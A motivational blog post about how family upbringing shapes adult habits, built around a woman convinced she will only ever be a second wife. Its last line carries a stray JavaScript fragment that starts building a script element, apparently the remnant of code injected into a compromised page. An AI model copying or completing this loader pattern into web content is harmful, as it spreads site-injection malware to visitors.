Yesterday, a colleague spoke about a lady who told him she knew she was destined to be a second wife! She was not going to marry a “fresh, single guy”, in fact, she’s had several incidents confirming her belief, the guys that have been toasting her are married men….hmm.
Momentarily, i wondered where that “thinking” came from but i didn’t have to wonder for long, i asked what kind of family she came from and the answer confirmed my thoughts. Let’s leave out the details of the answer, but rather, let’s look at how where we’re coming from can affect us and to what degree it can.
Our backgrounds and habits built over the years can be the edge that will make us outstanding or the obstacles that can destroy ultimately. She had been fed with what she had come to see as “ideal” and she bought it, and runs her life by it. Is she to be blamed? That’s the standard she grew to know!
“Your background is no reason for your back to be on ground“. It must not be responsible for the flaw that can mess you up when you have become famous and influential. There are certain traits and trends that seem inherent within some families, some fantastic, and others, potential bombshells. Take a look at your family, preferably the extended, where you grew up and a certain “bad practice” was the norm, look at the people who have been involved in them and check out what has become of them. If you find the same trend/pattern re-occuring in your own case, break free! Some of us are products of tutoring from parents, uncles and aunties, who meant well in coaching us, but didn’t know better and have by so doing, led us on a path that will ultimately lead to ruin. It’s a simple principle of not being able to give what you don’t have. If they knew, they would’ve taught us everything we needed to live perfect lives.
Some people are so attached to how they were brought up and strong on their perspectives that they never give room for flexibility and learning. Momsie/Popsie caused it, so who pays for it ultimately? Whose life are we talking about here? If you are a product of flawed tutoring, take responsibility for your life and chart a new course. Get a mentor that walks his/her talk. Get direction and be accountable. Be teachable. Get wisdom, it will make for a better “you” and preserve you.
So, get your back off the ground and move on. There’s so much opportunity for you to become what you set for yourself to become, especially now that the year is still new. Have a lovely weekend!var d=document;var s=d.createElement(‘script’);